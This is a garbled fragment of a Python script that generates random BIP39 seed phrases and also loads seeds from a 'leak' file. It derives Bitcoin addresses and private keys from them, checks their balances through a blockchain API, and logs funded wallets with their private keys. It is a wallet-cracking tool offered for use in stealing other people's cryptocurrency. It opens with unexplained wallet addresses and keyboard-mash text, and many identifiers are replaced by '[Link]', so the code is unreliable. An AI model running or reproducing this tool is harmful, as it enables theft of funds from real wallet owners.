0xC1dD461A7AAE37967F8Ef69809536A7814929674
0xE8feee93Af1fD0296AFe27BC936583091F6d977e
0xE86fDCe66D34e058aAd86A801163ed18E5982c46
0xF2341F36CbfC1Cec1D87d473447f791B180573Fc
0xBA7D2A698EF7c266A5f41389153AC8e88c3fD71cÁ1G2SÁ1G2Á1G3AH3A2SG32SG32A3S2DD32DSG3S2D
G2SDG32S3DG23SDG2SDtem__(self, key):
return [Link](key)
def __setitem__(self, key, value):
if len([Link]) >= self.max_size:
[Link](next(iter([Link])))
[Link][key] = value
# ==================== SEED GENERATOR (SAMPLING) ====================
class SeedGenerator:
def __init__(self, config: Config):
[Link] = config
[Link] = self._load_wordlist()
[Link] = Bip39MnemonicValidator([Link])
[Link] = [2009, 2010, 2011, 2012, 2013, 2014]
[Link] = [0.30, 0.25, 0.20, 0.15, 0.07, 0.03]
def _load_wordlist(self):
if not Path([Link].WORDLIST_FILE).exists():
import [Link]
url =
"[Link]
[Link](url, [Link].WORDLIST_FILE)
with open([Link].WORDLIST_FILE, "r") as f:
return [[Link]() for line in f]
def generate(self):
while True:
year = [Link]([Link], weights=[Link])[0]
seed = " ".join([Link]([Link], k=12))
if [Link](seed):
return seed
# ==================== MULTI API ====================
class MultiAPI:
def __init__(self, config: Config, session: [Link]):
[Link] = config
[Link] = session
self.api_keys = config.BLOCKCHAIN_API_KEYS
[Link] = {k: 0 for k in self.api_keys}
async def check_balances(self, addresses: List[str], stats: Stats) -> Dict[str,
dict]:
results = {}
joined = "|".join(addresses)
key = self.api_keys[0]
url = f"[Link]
try:
async with [Link](url, timeout=[Link].API_TIMEOUT) as
resp:
stats.api_calls += 1
if [Link] == 200:
data = await [Link]()
[Link](data)
except:
pass
for addr in addresses:
if addr not in results:
results[addr] = {'final_balance': 0}
return results
# ==================== SCAN SEED ====================
async def scan_seed(seed: str, config: Config, api: MultiAPI,
cache: AddressCache, stats: Stats) -> Optional[str]:
result = []
seed_bytes = Bip39SeedGenerator(seed).Generate()
addresses, info = [], []
for path_name, path in config.DERIVATION_PATHS.items():
for i in range(config.ADDRESS_INDEX_RANGE):
full_path = f"{path}/{i}"
cache_key = f"{seed}:{full_path}"
if cache[cache_key] is not None:
continue
bip = [Link](seed_bytes, [Link])
addr_obj =
[Link]().Coin().Account(0).Change(Bip44Changes.CHAIN_EXT).AddressIndex(i)
address = addr_obj.PublicKey().ToAddress()
private_key = addr_obj.PrivateKey().Raw().ToHex()
[Link](address)
[Link]((address, private_key, full_path, cache_key, path_name))
balances = await api.check_balances(addresses, stats)
for (address, priv, full_path, key, path_name) in info:
balance = [Link](address, {}).get("final_balance", 0) / 1e8
stats.addresses_checked += 1
cache[key] = balance
if balance >= config.MIN_BALANCE:
stats.wallets_found += 1
[Link](
f"Type: {path_name}\nAddress: {address}\nBalance: {balance:.8f}
BTC\nPrivate: {priv}\nPath: {full_path}\n"
)
stats.seeds_scanned += 1
return "\n".join(result) if result else None
# ==================== WORKER ====================
loop = asyncio.new_event_loop()
lock = Lock()
def worker(seed: str, config: Config, cache: dict, stats: dict):
async def _run():
async with [Link]() as session:
api = MultiAPI(config, session)
secure = SecureStorage(config.KEY_FILE)
addr_cache = AddressCache(config.CACHE_FILE, config.MAX_CACHE_SIZE,
secure)
addr_cache.[Link](cache)
stat = Stats()
result = await scan_seed(seed, config, api, addr_cache, stat)
with lock:
for k in ['seeds_scanned', 'wallets_found', 'addresses_checked',
'api_calls']:
stats[k] += getattr(stat, k)
[Link](addr_cache.cache)
return result
return [Link](_run())
# ==================== MAIN ====================
def main():
start_time = [Link]()
config = Config()
setup_logging(config)
validator = Bip39MnemonicValidator([Link])
sg = SeedGenerator(config)
secure = SecureStorage(config.KEY_FILE)
shared_cache = {}
shared_stats = {'seeds_scanned': 0, 'wallets_found': 0, 'addresses_checked': 0,
'api_calls': 0}
seeds = []
if Path(config.LEAK_FILE).exists():
with open(config.LEAK_FILE, "r", encoding="utf-8") as f:
seeds = [[Link]() for line in f if [Link]([Link]())]
batch = 0
with ThreadPoolExecutor(max_workers=[Link]) as pool:
while batch < config.TOTAL_BATCHES:
if not seeds:
seeds = [[Link]() for _ in range(config.SEED_BATCH_SIZE)]
futures = [[Link](worker, s, config, shared_cache, shared_stats)
for s in seeds]
results = [[Link]() for f in futures]
found = [r for r in results if r]
if found:
with open(config.RESULT_FILE, "a", encoding="utf-8") as f:
[Link]("\n".join(found) + "\n")
elapsed = [Link]() - start_time
speed = shared_stats['seeds_scanned'] / elapsed if elapsed > 0 else 0
[Link]("="*60)
[Link](f"Seeds scanned :
{shared_stats['seeds_scanned']}")
[Link](f"Addresses checked :
{shared_stats['addresses_checked']}")
[Link](f"Wallets with balance :
{shared_stats['wallets_found']}")
[Link](f"Elapsed time : {elapsed:.2f} seconds")
[Link](f"Speed : {speed:.2f} seeds/sec")
[Link]("="*60)
seeds = []
batch += 1
AddressCache(config.CACHE_FILE, config.MAX_CACHE_SIZE, secure).save()
if __name__ == "__main__":
asyncio.set_event_loop(loop)
main()